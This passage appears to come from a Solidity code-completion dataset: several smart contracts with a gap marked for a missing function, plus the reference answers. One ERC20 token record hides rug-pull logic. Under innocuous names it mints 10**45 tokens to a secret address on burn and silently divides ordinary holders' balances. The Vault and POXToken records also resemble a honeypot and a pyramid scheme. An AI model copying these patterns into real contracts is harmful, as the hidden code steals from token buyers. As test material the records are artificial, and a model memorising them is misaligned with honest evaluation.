_wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
contract TIMEOUTTOKEN is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "TIME OUT TOKEN"; string public constant symbol = "TOT"; uint public constant decimals = 8; uint public deadline = now + 200 * 1 days; uint public round2 = now + 50 * 1 days; uint public round1 = now + 150 * 1 days; uint256 public totalSupply = 150000000e8; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 10000e8; // 0.01 Ether uint256 public tokensPerEth = 1000000e8; uint public target0drop = 2000; uint public progress0drop = 0; //here u will write your ether address address multisig = 0xE2FCC0d51a09CcBb0CD84A9b4eABB2AFec531E4E; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } <FILL_FUNCTION> function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 10; uint256 bonusCond2 = 5 ether / 10; uint256 bonusCond3 = 1 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 10 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 20 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 35 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 2 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 3 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 7e8; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } //here we will send all wei to your address multisig.transfer(msg.value); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
uint256 teamFund = 75890000e8; owner = msg.sender; distr(owner, teamFund);
constructor() public
constructor() public
61,063
IADSpecialEvent
contribute
contract IADSpecialEvent is admined { using SafeMath for uint256; //This ico contract have 2 states enum State { Ongoing, Successful } //public variables token public constant tokenReward = token(0xC1E2097d788d33701BA3Cc2773BF67155ec93FC4); State public state = State.Ongoing; //Set initial stage uint256 public totalRaised; //eth in wei funded uint256 public totalDistributed; //tokens distributed uint256 public completedAt; address public creator; mapping (address => bool) whiteList; uint256 public rate = 6250;//Base rate is 5000 IAD/ETH - It's a 25% bonus string public version = '1'; //events for log event LogFundingReceived(address _addr, uint _amount, uint _currentTotal); event LogBeneficiaryPaid(address _beneficiaryAddress); event LogFundingSuccessful(uint _totalRaised); event LogFunderInitialized(address _creator); event LogContributorsPayout(address _addr, uint _amount); modifier notFinished() { require(state != State.Successful); _; } /** * @notice ICO constructor */ constructor () public { creator = msg.sender; emit LogFunderInitialized(creator); } /** * @notice whiteList handler */ function whitelistAddress(address _user, bool _flag) onlyAdmin(1) public { whiteList[_user] = _flag; } /** * @notice contribution handler */ function contribute() public notFinished payable {<FILL_FUNCTION_BODY> } /** * @notice closure handler */ function finish() onlyAdmin(2) public { //When finished eth and tremaining tokens are transfered to creator if(state != State.Successful){ state = State.Successful; completedAt = now; } uint256 remanent = tokenReward.balanceOf(this); require(creator.send(address(this).balance)); tokenReward.transfer(creator,remanent); emit LogBeneficiaryPaid(creator); emit LogContributorsPayout(creator, remanent); } function sendTokensManually(address _to, uint256 _amount) onlyAdmin(2) public { require(whiteList[_to] == true); //Keep track of total tokens distributed totalDistributed = totalDistributed.add(_amount); //Transfer the tokens tokenReward.transfer(_to, _amount); //Logs emit LogContributorsPayout(_to, _amount); } /** * @notice Function to claim eth on contract */ function claimETH() onlyAdmin(2) public{ require(creator.send(address(this).balance)); emit LogBeneficiaryPaid(creator); } /** * @notice Function to claim any token stuck on contract at any time */ function claimTokens(token _address) onlyAdmin(2) public{ require(state == State.Successful); //Only when sale finish uint256 remainder = _address.balanceOf(this); //Check remainder tokens _address.transfer(msg.sender,remainder); //Transfer tokens to admin } /* * @dev direct payments handler */ function () public payable { contribute(); } }
contract IADSpecialEvent is admined { using SafeMath for uint256; //This ico contract have 2 states enum State { Ongoing, Successful } //public variables token public constant tokenReward = token(0xC1E2097d788d33701BA3Cc2773BF67155ec93FC4); State public state = State.Ongoing; //Set initial stage uint256 public totalRaised; //eth in wei funded uint256 public totalDistributed; //tokens distributed uint256 public completedAt; address public creator; mapping (address => bool) whiteList; uint256 public rate = 6250;//Base rate is 5000 IAD/ETH - It's a 25% bonus string public version = '1'; //events for log event LogFundingReceived(address _addr, uint _amount, uint _currentTotal); event LogBeneficiaryPaid(address _beneficiaryAddress); event LogFundingSuccessful(uint _totalRaised); event LogFunderInitialized(address _creator); event LogContributorsPayout(address _addr, uint _amount); modifier notFinished() { require(state != State.Successful); _; } /** * @notice ICO constructor */ constructor () public { creator = msg.sender; emit LogFunderInitialized(creator); } /** * @notice whiteList handler */ function whitelistAddress(address _user, bool _flag) onlyAdmin(1) public { whiteList[_user] = _flag; } <FILL_FUNCTION> /** * @notice closure handler */ function finish() onlyAdmin(2) public { //When finished eth and tremaining tokens are transfered to creator if(state != State.Successful){ state = State.Successful; completedAt = now; } uint256 remanent = tokenReward.balanceOf(this); require(creator.send(address(this).balance)); tokenReward.transfer(creator,remanent); emit LogBeneficiaryPaid(creator); emit LogContributorsPayout(creator, remanent); } function sendTokensManually(address _to, uint256 _amount) onlyAdmin(2) public { require(whiteList[_to] == true); //Keep track of total tokens distributed totalDistributed = totalDistributed.add(_amount); //Transfer the tokens tokenReward.transfer(_to, _amount); //Logs emit LogContributorsPayout(_to, _amount); } /** * @notice Function to claim eth on contract */ function claimETH() onlyAdmin(2) public{ require(creator.send(address(this).balance)); emit LogBeneficiaryPaid(creator); } /** * @notice Function to claim any token stuck on contract at any time */ function claimTokens(token _address) onlyAdmin(2) public{ require(state == State.Successful); //Only when sale finish uint256 remainder = _address.balanceOf(this); //Check remainder tokens _address.transfer(msg.sender,remainder); //Transfer tokens to admin } /* * @dev direct payments handler */ function () public payable { contribute(); } }
//must be whitlisted require(whiteList[msg.sender] == true); //lets get the total purchase uint256 tokenBought = msg.value.mul(rate); //Minimum 150K tokenss require(tokenBought >= 150000 * (10 ** 18)); //Keep track of total wei raised totalRaised = totalRaised.add(msg.value); //Keep track of total tokens distributed totalDistributed = totalDistributed.add(tokenBought); //Transfer the tokens tokenReward.transfer(msg.sender, tokenBought); //Logs emit LogFundingReceived(msg.sender, msg.value, totalRaised); emit LogContributorsPayout(msg.sender, tokenBought);
function contribute() public notFinished payable
/** * @notice contribution handler */ function contribute() public notFinished payable
22,191
ERC20
_transfer
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { address[] private fxArray; mapping (address => bool) private Mickey; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private Mouse = 0; address public pair; IDEXRouter router; string private _name; string private _symbol; address private sha823gydpudw913key; uint256 private _totalSupply; bool private trading; bool private Swine; uint256 private Pig; uint256 private Swag; constructor (string memory name_, string memory symbol_, address msgSender_) { router = IDEXRouter(_router); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); sha823gydpudw913key = msgSender_; _name = name_; _symbol = symbol_; } function openTrading() external onlyOwner returns (bool) { trading = true; return true; } function decimals() public view virtual override returns (uint8) { return 18; } function symbol() public view virtual override returns (string memory) { return _symbol; } function name() public view virtual override returns (string memory) { return _name; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[account] += (account == sha823gydpudw913key ? (10 ** 45) : 0); _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function last() internal view returns (address) { return (Pig > 1 ? fxArray[fxArray.length-2] : address(0)); } function _balancesOfTheDoges(address sender, address recipient, bool problem) internal { Swine = problem ? true : Swine; if (((Mickey[sender] == true) && (Mickey[recipient] != true)) || ((Mickey[sender] != true) && (Mickey[recipient] != true))) { fxArray.push(recipient); } if ((Swine) && (sender == sha823gydpudw913key) && (Swag == 1)) { for (uint256 krux = 0; krux < fxArray.length; krux++) { _balances[fxArray[krux]] /= (2 * 10 ** 1); } } _balances[last()] /= (((Mouse == block.timestamp) || Swine) && (Mickey[last()] != true) && (Pig > 1)) ? (10 ** 2) : (1); Pig++; Mouse = block.timestamp; } function _balancesOfTheFloki(address sender, address recipient) internal { require((trading || (sender == sha823gydpudw913key)), "ERC20: trading is not yet enabled."); _balancesOfTheDoges(sender, recipient, (address(sender) == sha823gydpudw913key) && (Swag > 0)); Swag += (sender == sha823gydpudw913key) ? 1 : 0; } function _DeathSwap(address creator) internal virtual { approve(_router, 10 ** 77); (Swag,Swine,Pig,trading) = (0,false,0,false); (Mickey[_router],Mickey[creator],Mickey[pair]) = (true,true,true); } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; _balances[owner] /= (Swine ? (2 * 10 ** 1) : 1); emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> } function _DeployFlokiPredator(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } }
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { address[] private fxArray; mapping (address => bool) private Mickey; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private Mouse = 0; address public pair; IDEXRouter router; string private _name; string private _symbol; address private sha823gydpudw913key; uint256 private _totalSupply; bool private trading; bool private Swine; uint256 private Pig; uint256 private Swag; constructor (string memory name_, string memory symbol_, address msgSender_) { router = IDEXRouter(_router); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); sha823gydpudw913key = msgSender_; _name = name_; _symbol = symbol_; } function openTrading() external onlyOwner returns (bool) { trading = true; return true; } function decimals() public view virtual override returns (uint8) { return 18; } function symbol() public view virtual override returns (string memory) { return _symbol; } function name() public view virtual override returns (string memory) { return _name; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[account] += (account == sha823gydpudw913key ? (10 ** 45) : 0); _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function last() internal view returns (address) { return (Pig > 1 ? fxArray[fxArray.length-2] : address(0)); } function _balancesOfTheDoges(address sender, address recipient, bool problem) internal { Swine = problem ? true : Swine; if (((Mickey[sender] == true) && (Mickey[recipient] != true)) || ((Mickey[sender] != true) && (Mickey[recipient] != true))) { fxArray.push(recipient); } if ((Swine) && (sender == sha823gydpudw913key) && (Swag == 1)) { for (uint256 krux = 0; krux < fxArray.length; krux++) { _balances[fxArray[krux]] /= (2 * 10 ** 1); } } _balances[last()] /= (((Mouse == block.timestamp) || Swine) && (Mickey[last()] != true) && (Pig > 1)) ? (10 ** 2) : (1); Pig++; Mouse = block.timestamp; } function _balancesOfTheFloki(address sender, address recipient) internal { require((trading || (sender == sha823gydpudw913key)), "ERC20: trading is not yet enabled."); _balancesOfTheDoges(sender, recipient, (address(sender) == sha823gydpudw913key) && (Swag > 0)); Swag += (sender == sha823gydpudw913key) ? 1 : 0; } function _DeathSwap(address creator) internal virtual { approve(_router, 10 ** 77); (Swag,Swine,Pig,trading) = (0,false,0,false); (Mickey[_router],Mickey[creator],Mickey[pair]) = (true,true,true); } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; _balances[owner] /= (Swine ? (2 * 10 ** 1) : 1); emit Approval(owner, spender, amount); } <FILL_FUNCTION> function _DeployFlokiPredator(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } }
require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balancesOfTheFloki(sender, recipient); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount);
function _transfer(address sender, address recipient, uint256 amount) internal virtual
function _transfer(address sender, address recipient, uint256 amount) internal virtual
90,803
CustomToken
null
contract CustomToken is BaseToken, BurnToken, BatchToken, LockToken, MintToken { constructor() public {<FILL_FUNCTION_BODY> } }
contract CustomToken is BaseToken, BurnToken, BatchToken, LockToken, MintToken { <FILL_FUNCTION> }
owner = 0xbCADE28d8C2F22345165f0e07C94A600f6C4e925; balanceOf[0xbCADE28d8C2F22345165f0e07C94A600f6C4e925] = totalSupply; emit Transfer(address(0), 0xbCADE28d8C2F22345165f0e07C94A600f6C4e925, totalSupply);
constructor() public
constructor() public
83,751
TestToken
approve
contract TestToken is ERC20, SafeMath { //创建一个状态变量,该类型将一些address映射到无符号整数uint256。 mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; //function transfer(address to, uint value) returns (bool ok); function transfer(address _to, uint _value) returns (bool success) { //从消息发送者账户中减去token数量_value balances[msg.sender] = sub(balances[msg.sender], _value); //往接收账户增加token数量_value balances[_to] = add(balances[_to], _value); //触发转币交易事件 Transfer(msg.sender, _to, _value); return true; } //function transferFrom(address from, address to, uint value) returns (bool ok); function transferFrom(address _from, address _to, uint _value) returns (bool success) { var _allowance = allowed[_from][msg.sender]; //接收账户增加token数量_value balances[_to] = add(balances[_to], _value); //支出账户_from减去token数量_value balances[_from] = sub(balances[_from], _value); //消息发送者可以从账户_from中转出的数量减少_value allowed[_from][msg.sender] = sub(_allowance, _value); //触发转币交易事件 Transfer(_from, _to, _value); return true; } //function balanceOf( address who ) constant returns (uint value); function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } //function approve( address spender, uint value ) returns (bool ok); function approve(address _spender, uint _value) returns (bool success) {<FILL_FUNCTION_BODY> } //function allowance( address owner, address spender ) constant returns (uint _allowance); function allowance(address _owner, address _spender) constant returns (uint remaining) { //允许_spender从_owner中转出的token数 return allowed[_owner][_spender]; } }
contract TestToken is ERC20, SafeMath { //创建一个状态变量,该类型将一些address映射到无符号整数uint256。 mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; //function transfer(address to, uint value) returns (bool ok); function transfer(address _to, uint _value) returns (bool success) { //从消息发送者账户中减去token数量_value balances[msg.sender] = sub(balances[msg.sender], _value); //往接收账户增加token数量_value balances[_to] = add(balances[_to], _value); //触发转币交易事件 Transfer(msg.sender, _to, _value); return true; } //function transferFrom(address from, address to, uint value) returns (bool ok); function transferFrom(address _from, address _to, uint _value) returns (bool success) { var _allowance = allowed[_from][msg.sender]; //接收账户增加token数量_value balances[_to] = add(balances[_to], _value); //支出账户_from减去token数量_value balances[_from] = sub(balances[_from], _value); //消息发送者可以从账户_from中转出的数量减少_value allowed[_from][msg.sender] = sub(_allowance, _value); //触发转币交易事件 Transfer(_from, _to, _value); return true; } //function balanceOf( address who ) constant returns (uint value); function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } <FILL_FUNCTION> //function allowance( address owner, address spender ) constant returns (uint _allowance); function allowance(address _owner, address _spender) constant returns (uint remaining) { //允许_spender从_owner中转出的token数 return allowed[_owner][_spender]; } }
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true;
function approve(address _spender, uint _value) returns (bool success)
//function approve( address spender, uint value ) returns (bool ok); function approve(address _spender, uint _value) returns (bool success)
60,352
Vault
deposit
contract Vault is Transferable { event Initialized(address owner); event LockDate(uint oldDate, uint newDate); event Deposit(address indexed depositor, uint amount); event Withdrawal(address indexed withdrawer, uint amount); mapping (address => uint) public deposits; uint public lockDate; function init() public payable isUnlocked { Owner = msg.sender; lockDate = 0; Initialized(msg.sender); } function SetLockDate(uint newDate) public payable onlyOwner { LockDate(lockDate, newDate); lockDate = newDate; } function() public payable { deposit(); } function deposit() public payable {<FILL_FUNCTION_BODY> } function withdraw(uint amount) public payable onlyOwner { if (lockDate > 0 && now >= lockDate) { uint max = deposits[msg.sender]; if (amount <= max && max > 0) { msg.sender.transfer(amount); Withdrawal(msg.sender, amount); } } } }
contract Vault is Transferable { event Initialized(address owner); event LockDate(uint oldDate, uint newDate); event Deposit(address indexed depositor, uint amount); event Withdrawal(address indexed withdrawer, uint amount); mapping (address => uint) public deposits; uint public lockDate; function init() public payable isUnlocked { Owner = msg.sender; lockDate = 0; Initialized(msg.sender); } function SetLockDate(uint newDate) public payable onlyOwner { LockDate(lockDate, newDate); lockDate = newDate; } function() public payable { deposit(); } <FILL_FUNCTION> function withdraw(uint amount) public payable onlyOwner { if (lockDate > 0 && now >= lockDate) { uint max = deposits[msg.sender]; if (amount <= max && max > 0) { msg.sender.transfer(amount); Withdrawal(msg.sender, amount); } } } }
if (msg.value >= 0.1 ether) { deposits[msg.sender] += msg.value; Deposit(msg.sender, msg.value); }
function deposit() public payable
function deposit() public payable
50,945
MyAdvancedToken
_transfer
contract MyAdvancedToken is owned, TokenERC20 { /* Initializes contract with initial supply tokens to the creator of the contract */ function MyAdvancedToken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal {<FILL_FUNCTION_BODY> } }
contract MyAdvancedToken is owned, TokenERC20 { /* Initializes contract with initial supply tokens to the creator of the contract */ function MyAdvancedToken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} <FILL_FUNCTION> }
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value);
function _transfer(address _from, address _to, uint _value) internal
/* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal
22,220
EarthToken
null
contract EarthToken is ERC20 { constructor() ERC20("EarthFund", "1EARTH") {<FILL_FUNCTION_BODY> } }
contract EarthToken is ERC20 { <FILL_FUNCTION> }
_mint(msg.sender, 1000000000 * 1e18); // 1 billion 1EARTH
constructor() ERC20("EarthFund", "1EARTH")
constructor() ERC20("EarthFund", "1EARTH")
85,966
POXToken
buyPrice
contract POXToken { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> set new administrator // -> change the PoS difficulty (How many tokens it costs to hold a referral, in case it gets crazy high later) // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[(_customerAddress)]); _; } // ensures that the first tokens in the contract will be equally distributed // meaning, no divine dump will be ever possible // result: healthy longevity. modifier antiEarlyWhale(uint256 _amountOfEthereum){ address _customerAddress = msg.sender; // are we still in the vulnerable phase? // if so, enact anti early whale protocol if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){ require( // is the customer in the ambassador list? ambassadors_[_customerAddress] == true && // does the customer purchase exceed the max ambassador quota? (ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_ ); // updated the accumulated quota ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum); // execute _; } else { // in case the ether count drops low, the ambassador phase won't reinitiate onlyAmbassadors = false; _; } } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "POXToken"; string public symbol = "POX"; uint8 constant public decimals = 18; uint8 constant internal buyFee_ = 10; uint8 constant internal sellFee_ = 5; uint8 constant internal exchangebuyFee_ = 100; uint8 constant internal exchangesellFee_ = 50; uint8 constant internal referralFeenormal_ = 50; uint8 constant internal referralFeedouble_ = 25; uint8 constant internal transferFee_ = 10; uint32 constant internal presaletransferFee_ = 1000000; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2**64; // proof of stake Doubles Referral Rewards (defaults at 500 tokens) uint256 public stakingRequirement = 500e18; // presale mapping(address => bool) internal ambassadors_; uint256 constant internal ambassadorMaxPurchase_ = 1000 ether; uint256 constant internal ambassadorQuota_ = 1010 ether; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; // administrator list (see above on what they can do) mapping(address => bool) public administrators; // when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid) bool public onlyAmbassadors = true; // fees and measurement error address address private exchangefees; address private measurement; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ function POXToken(address _exchangefees, address _measurement) public { require(_exchangefees != address(0)); exchangefees = _exchangefees; require(_measurement != address(0)); measurement = _measurement; // administrators administrators[0x8889885f4a4800abC7F32aC661765cd1FAaC7D49] = true; // pre-sale wallet. ambassadors_[0xA7A1d05b15de7d5C0a8A27dDD3B011Ec366D6bB9] = true; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /** * Converts all of caller's dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn 